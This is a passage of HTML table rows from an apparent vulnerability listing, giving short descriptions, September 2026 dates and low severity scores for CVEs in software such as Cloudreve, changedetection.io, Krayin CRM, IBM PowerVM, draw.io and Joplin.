&lt;td&gt;alsa-lib through 1.2.16.1 contains a denial of service vulnerability in the multi PCM plugin that fails to validate sparse binding indices before array access. Attackers can supply a malicious ALSA configuration file with sparse bindings to trigger an out-of-bounds array read and assertion failure, causing the application to abort.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96675&quot; target=&quot;_blank&quot;&gt;CVE-2026-96675&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cap-go--@capgo/cli&lt;/td&gt;
&lt;td&gt;Capgo CLI (npm package @capgo/cli) through 7.98.2 is affected by an over-permissioned service account in its Android onboarding flow. When onboarding via Google OAuth, the CLI invites the generated Google Play service account with the account-wide Play Console permission CAN_MANAGE_DRAFT_APPS_GLOBAL (passed as developerAccountPermissions in the Android Publisher API User create request), even though the user-facing flow states the service account is invited into a single confirmed app with release-only permissions. As a result, anyone who obtains the generated service account key (PLAY_CONFIG_JSON) can create, edit, and delete draft apps across the entire Google Play developer account rather than being limited to the selected package. No patched version was available at the time of publication.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;3.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100620&quot; target=&quot;_blank&quot;&gt;CVE-2026-100620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cloudreve--cloudreve&lt;/td&gt;
&lt;td&gt;Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloader metadata to write files to unexpected locations within accessible namespaces.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101051&quot; target=&quot;_blank&quot;&gt;CVE-2026-101051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cloudreve--cloudreve&lt;/td&gt;
&lt;td&gt;Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, tool.GET(&quot;wopi&quot;) and tool.POST(&quot;mail&quot;) in routers/router.go inherit ScopeAdminRead but omit the RequiredScopes(types.ScopeAdminWrite) middleware applied to neighboring state-changing admin tool routes. An OAuth application or API key limited to Admin.Read can therefore probe configured WOPI service endpoints and send arbitrary test email through the server SMTP configuration, exceeding the token&#039;s intended read-only authorization boundary. This issue is fixed in version 4.18.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77637&quot; target=&quot;_blank&quot;&gt;CVE-2026-77637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;darkreader--darkreader&lt;/td&gt;
&lt;td&gt;Dark Reader is an accessibility browser extension that makes web pages colors dark. Prior to 4.9.126, a website can cause the browser extension&#039;s image inversion pipeline to request an unauthenticated icon-like bitmap from a locally running web server when the resource uses a known public-like HTTPS URL and is detected as requiring inversion. This behavior can cross the website-to-local-network boundary and disclose limited information associated with the requested resource. The darkreader npm package used for website integration is not affected. This issue is fixed in version 4.9.126 for Firefox and version 4.9.128 for other browsers.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92706&quot; target=&quot;_blank&quot;&gt;CVE-2026-92706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway (SCG) Policy Manager&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Use of Non-Canonical URL Paths for Authorization Decisions vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71178&quot; target=&quot;_blank&quot;&gt;CVE-2026-71178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dgtlmoon--Changedetection.io&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in dgtlmoon Changedetection.io up to 0.55.8. This issue affects the function setCurrentSelectedText of the file changedetectionio/static/js/visual-selector.js of the component Visual Selector. Executing a manipulation of the argument s can lead to cross site scripting. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version 0.60.1 is capable of addressing this issue. This patch is called aac6fcfa594f17511b8ff73e5eaa4f6c33899de0. It is suggested to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95657&quot; target=&quot;_blank&quot;&gt;CVE-2026-95657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dgtlmoon--changedetection.io&lt;/td&gt;
&lt;td&gt;A flaw has been found in dgtlmoon changedetection.io up to 0.60.7. The affected element is the function check_password of the file changedetectionio/flask_app.py of the component Hash Comparison. This manipulation of the argument Password causes observable timing discrepancy. The attack is possible to be carried out remotely. A high degree of complexity is needed for the attack. The exploitability is described as difficult. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95270&quot; target=&quot;_blank&quot;&gt;CVE-2026-95270&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dgtlmoon--changedetection.io&lt;/td&gt;
&lt;td&gt;A vulnerability was found in dgtlmoon changedetection.io up to 0.60.7. This affects the function static_content of the file changedetectionio/flask_app.py of the component Screenshot Handler. Performing a manipulation of the argument filename results in path traversal. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The exploitability is reported as difficult. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95272&quot; target=&quot;_blank&quot;&gt;CVE-2026-95272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast, Edgeless Systems&#039; runtime for confidential containers on Kubernetes, is affected in versions up to and including 1.9.0. The VOLUME directive in a Dockerfile (config.volumes in the OCI image configuration) is only a hint and is not handled specially by Kubernetes, but containerd adds a mount point for it when Kubernetes sets none, requiring the runtime to be able to push arbitrary data to the Kata agent. As a result, on bare-metal Contrast deployments (AKS deployments are not affected) that run an image declaring at least one VOLUME for which no Kubernetes mount exists at that path, the untrusted host can write arbitrary file trees below that mount point inside the confidential container, compromising the integrity of a directory that is typically important to the application&#039;s core functionality. Version 1.9.1 fixes the issue by disallowing this configuration in `contrast generate`.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71424&quot; target=&quot;_blank&quot;&gt;CVE-2025-71424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast (Edgeless Systems) through 1.20.0 performs unanchored suffix matching when selecting per-registry configuration in the imagepuller. Config.registryFor strips a single trailing dot and then uses strings.HasSuffix(hostname, fqdn) without requiring a DNS label boundary, so a registry entry such as [registries.&quot;ghcr.io.&quot;] is also applied to any host whose name merely ends in that byte sequence, including attacker-registered domains such as evilghcr.io. When an image or layer is pulled from such a sibling domain, the imagepuller sends the configured Authorization header (basic auth, registry token, or identity token), trusts the configured custom CA bundle, follows the configured mirror, and honours insecure-skip-verify (disabling TLS verification) for that host. Image integrity is not affected, as image bytes remain pinned by digest in the policy and are validated after the pull. Configurations that use a leading dot (e.g., [registries.&quot;.example.registry&quot;]) are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100837&quot; target=&quot;_blank&quot;&gt;CVE-2026-100837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fleetdm--fleet&lt;/td&gt;
&lt;td&gt;Fleet before 4.89.0 contains an SQL injection vulnerability in the activity list endpoints (GET /api/v1/fleet/activities and GET /api/v1/fleet/hosts/{id}/activities). The deprecated cursor-pagination helper appendListOptionsWithCursorToSQL interpolated the caller-supplied sort/order key into the SQL ORDER BY clause without an allowlist, so an authenticated user with read access to Activity could order results by arbitrary columns. The impact is read-only and bounded to columns on the activity_past table that are not otherwise returned in these responses (e.g. details), allowing their values to be inferred through the resulting sort order; there is no write access, privilege escalation, or reachability of node_key or other host-join columns through these endpoints. Fixed in 4.89.0, which removes the deprecated helper and passes the sort column through SanitizeColumn.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101046&quot; target=&quot;_blank&quot;&gt;CVE-2026-101046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.6 before 19.2.7, 19.3 before 19.3.3, and 19.4 before 19.4.1 that under a race condition, the MCP search tool&#039;s shared state handling could have caused search results to be returned under an incorrect user context.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92628&quot; target=&quot;_blank&quot;&gt;CVE-2026-92628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;gocd--gocd&lt;/td&gt;
&lt;td&gt;GoCD is a continuous deliver server. From 13.1.0 until 26.1.0, the /go/api/support/process_list endpoint does not enforce its intended administrator-only authorization. An authenticated internal user can query the endpoint while source control child processes are running and view command-line arguments, usernames, remote material URLs, and internal material paths for materials the user cannot otherwise access. Exploitation depends on unpredictable process timing, and credentials, environment variables, and user-defined secrets remain masked or omitted. This issue is fixed in version 26.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55060&quot; target=&quot;_blank&quot;&gt;CVE-2026-55060&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hangzhou Shunwang Technology--shzh&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Hangzhou Shunwang Technology shzh 10.7.2.693. This affects the function sub_180004AC0 of the file shdrv_x64.sys of the component IRP_MJ_DEVICE_CONTROL Handler. The manipulation of the argument PID leads to denial of service. The attack must be carried out locally.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94137&quot; target=&quot;_blank&quot;&gt;CVE-2026-94137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hatchet-dev--hatchet&lt;/td&gt;
&lt;td&gt;Hatchet is a platform for orchestrating background tasks, AI agents, and durable workflows at scale. Prior to 0.95.3, the V1 DurableTask stream handler stores worker-supplied task_external_id values in the durableInvocations routing map before tenant ownership is verified, and callback delivery resolves that map by task UUID without tenant identity. An authenticated tenant worker that knows another tenant&#039;s durable task UUID and keeps a stream open on the same dispatcher process can receive that task&#039;s durable callback result payload. UUIDv4 values are not enumerable, and single-tenant deployments are unaffected in practice. This issue is fixed in version 0.95.3.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84298&quot; target=&quot;_blank&quot;&gt;CVE-2026-84298&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;huanzi-qch--base-admin&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in huanzi-qch base-admin up to 52816b760cd53244989fd664bbb2b3d4edbfdbf1. This issue affects the function Save of the file base-admin-master\src\main\java\cn\huanzi\qch\baseadmin\common\controller\CommonController.java of the component Add User Handler. The manipulation of the argument Username leads to cross site scripting. The attack can be initiated remotely. The exploit is publicly available and might be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96810&quot; target=&quot;_blank&quot;&gt;CVE-2026-96810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hyve5--Leantime&lt;/td&gt;
&lt;td&gt;A flaw has been found in Hyve5 Leantime up to 3.9.8. Affected by this vulnerability is the function getAllGrouped of the file app/Domain/Tickets/Services/Tickets.php of the component Kanban Board. This manipulation causes cross site scripting. The attack is possible to be carried out remotely. The exploit has been published and may be used. Patch name: a30a6837b4071ac05a4f58d0e1baa2c62aa8695e. To fix this issue, it is recommended to deploy a patch.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94210&quot; target=&quot;_blank&quot;&gt;CVE-2026-94210&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hyve5--Leantime&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Hyve5 Leantime up to 3.9.8. Affected by this issue is some unknown functionality of the file /app/Domain/Dashboard/Templates/show.blade.php of the component Project Dashboard. Such manipulation leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. &quot;EDIT perm&quot; needed to plant; fires cross-user for anyone viewing the project dashboard since the poisoned label name is echoed raw. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94211&quot; target=&quot;_blank&quot;&gt;CVE-2026-94211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Db2 Mirror for i&lt;/td&gt;
&lt;td&gt;IBM Db2 Mirror for i 7.6, 7.5, and 7.4 could allow a local attacker to obtain sensitive information due to the use of the AES Electronic Codebook (ECB) mode for encryption.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18104&quot; target=&quot;_blank&quot;&gt;CVE-2026-18104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Financial Transaction Manager (FTM)&amp;nbsp;for RedHat OpenShift&lt;/td&gt;
&lt;td&gt;IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to improper enforcement of mutual TLS authentication.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18173&quot; target=&quot;_blank&quot;&gt;CVE-2026-18173&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow an administrative user to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4921&quot; target=&quot;_blank&quot;&gt;CVE-2026-4921&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--OPENBMC&lt;/td&gt;
&lt;td&gt;IBM OPENBMC FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in the BMC firmware management interface. The host system can cause the BMC firmware management service to crash or allow a limited amount of BMC internal memory to be read, resulting in a confidentiality and availability impact to the managed system.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18857&quot; target=&quot;_blank&quot;&gt;CVE-2026-18857&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--PowerVM Hypervisor&lt;/td&gt;
&lt;td&gt;IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 is affected by a vulnerability in the partition resource dump interface. An attacker with authenticated administrator-level access to the HMC or service processor can obtain a limited snapshot of partition processor state. Successful exploitation results in a confidentiality impact to the managed system.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17511&quot; target=&quot;_blank&quot;&gt;CVE-2026-17511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--PowerVM Hypervisor&lt;/td&gt;
&lt;td&gt;IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, and FW1060.00 through FW1060.81 is affected by a vulnerability in a hypervisor call interface. An attacker with root access to a guest partition can read a limited amount of hypervisor memory, potentially exposing sensitive data belonging to the hypervisor or other guest partitions hosted on the same system, resulting in a confidentiality impact. The attacker has no control over which memory contents are returned. This vulnerability is of particular concern in multi-tenant environments where guests may run arbitrary OS images.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;3.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19492&quot; target=&quot;_blank&quot;&gt;CVE-2026-19492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jgraph--drawio&lt;/td&gt;
&lt;td&gt;draw.io is a configurable diagramming and whiteboarding application. Prior to version 30.2.7, src/main/java/com/mxgraph/online/ExportProxyServlet.java uses request.getPathInfo() to build a proxyPath and appends it directly to EXPORT_URL without rejecting dot segments or confirming that the normalized destination remains under the configured export path. An unauthenticated request containing traversal segments can therefore address unintended routes on the internal export server, and the servlet forwards all request headers and the request body to that destination, allowing arbitrary header injection. Depending on the export service configuration, exploitation can expose administration, debugging, health, or configuration endpoints and can permit unintended internal actions. This issue is fixed in version 30.2.7.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63416&quot; target=&quot;_blank&quot;&gt;CVE-2026-63416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JusticeRage--Manalyze&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in JusticeRage Manalyze 1.0.0. Impacted is the function PE::_parse_relocations of the file manape/pe.cpp of the component PE Parser. Performing a manipulation of the argument BlockSize results in integer underflow. The attack requires a local approach. The patch is named c372b6bbca9d8c63812be50596fefa4a79c65fd0. It is recommended to apply a patch to fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95958&quot; target=&quot;_blank&quot;&gt;CVE-2026-95958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Krayin laravel-crm up to 2.2.5. This issue affects some unknown processing of the file Sanitizer.php of the component TinyMCE Media Upload. The manipulation results in cross site scripting. The attack may be performed from remote. Upgrading to version 2.2.6 is capable of addressing this issue. The patch is identified as 734aa10ae6c2ffa4c96c8869a89aa66940e4d345. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97897&quot; target=&quot;_blank&quot;&gt;CVE-2026-97897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Krayin laravel-crm up to 2.2.5. Impacted is an unknown function of the file packages/Webkul/Admin/src/Resources/views/components/layouts/index.blade.php of the component Admin Settings Endpoint. Performing a manipulation of the argument general.settings.footer.label results in cross site scripting. The attack can be initiated remotely. The exploit is now public and may be used. Upgrading to version 2.2.6 is recommended to address this issue. The patch is named 6dbcf75b30dbd169ee81b7e9e00368099124efeb. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100882&quot; target=&quot;_blank&quot;&gt;CVE-2026-100882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;krayin--laravel-crm&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in krayin laravel-crm up to 2.2.5. This vulnerability affects the function ConfigurationForm::rules of the file packages/Webkul/Admin/src/Http/Requests/ConfigurationForm.php of the component Upload Functionality. The manipulation leads to cross site scripting. The attack is possible to be carried out remotely. The exploit is publicly available and might be used. Upgrading to version 2.2.6 is able to resolve this issue. The identifier of the patch is b9836530ec9f5ef0f51653bb0cbbc47ef7184f51. It is advisable to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97896&quot; target=&quot;_blank&quot;&gt;CVE-2026-97896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laurent22--joplin&lt;/td&gt;
&lt;td&gt;Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. From 1.4.0 until 3.7.2, packages/renderer/MdToHtml/rules/katex.ts enables KaTeX&#039;s trust option for note content, allowing a note author to place a \href URL into rendered output without passing Joplin&#039;s normal URL allowlist. On Windows, clicking a link whose target is an attacker-controlled UNC path causes pathExists() to initiate SMB authentication and disclose the current user&#039;s NTLMv2 challenge-response without a warning. The unfiltered URL can also invoke other registered URL handlers, but the credential disclosure through KaTeX \href is the distinguishing demonstrated impact. This issue is fixed in version 3.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;2.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49449&quot; target=&quot;_blank&quot;&gt;CVE-2026-49449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mathurvishal--CloudClassroom-PHP-Project&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in mathurvishal CloudClassroom-PHP-Project up to 5dadec098bfbbf3300d60c3494db3fb95b66e7be. The affected element is an unknown function of the file managevideos2.php of the component Faculty Video Management. Such manipulation of the argument V_Title/V_Url/V_Remarks leads to cross site scripting. The attack may be performed from remote. The exploit is publicly available and might be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100311&quot; target=&quot;_blank&quot;&gt;CVE-2026-100311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MPCX Lightbox--MPCX Lightbox&lt;/td&gt;
&lt;td&gt;The MPCX Lightbox WordPress plugin 1.2.2 through 1.2.5 does not have any authorisation or authentication on one of its AJAX actions available to unauthenticated users, nor does it check the status of the requested post, allowing unauthenticated visitors to retrieve the title, content or excerpt of arbitrary posts, including private, draft, pending, trashed and password-protected ones.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87848&quot; target=&quot;_blank&quot;&gt;CVE-2026-87848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NationalSecurityAgency--ghidra&lt;/td&gt;
&lt;td&gt;Ghidra versions through 12.1.4 contain a heap use-after-free vulnerability in the decompiler&#039;s Funcdata::opInsertAfter function caused by stale INDIRECT effect-op references. Attackers can craft a malicious binary with a specific x86-64 sequence that triggers the vulnerability during decompilation, causing the decompile helper process to crash and denying service to analysts and automated analysis pipelines.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100503&quot; target=&quot;_blank&quot;&gt;CVE-2026-100503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nezhahq--nezha&lt;/td&gt;
&lt;td&gt;Nezha before 2.2.7 contains an information disclosure vulnerability in the GET /api/v1/profile endpoint that returns the bcrypt-hashed password field of authenticated users. Attackers can extract password hashes and perform offline cracking attacks without rate limiting or audit trail constraints.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101089&quot; target=&quot;_blank&quot;&gt;CVE-2026-101089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;o2sh--onefetch&lt;/td&gt;
&lt;td&gt;onefetch through 2.28.1 writes repository information field values to the terminal without removing control characters, allowing terminal escape sequence injection. Attackers can embed ANSI/OSC escape sequences in project manifest version and name fields to manipulate terminal output, rewrite window titles, hide text, or trigger emulator-specific behavior when victims run onefetch.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100866&quot; target=&quot;_blank&quot;&gt;CVE-2026-100866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
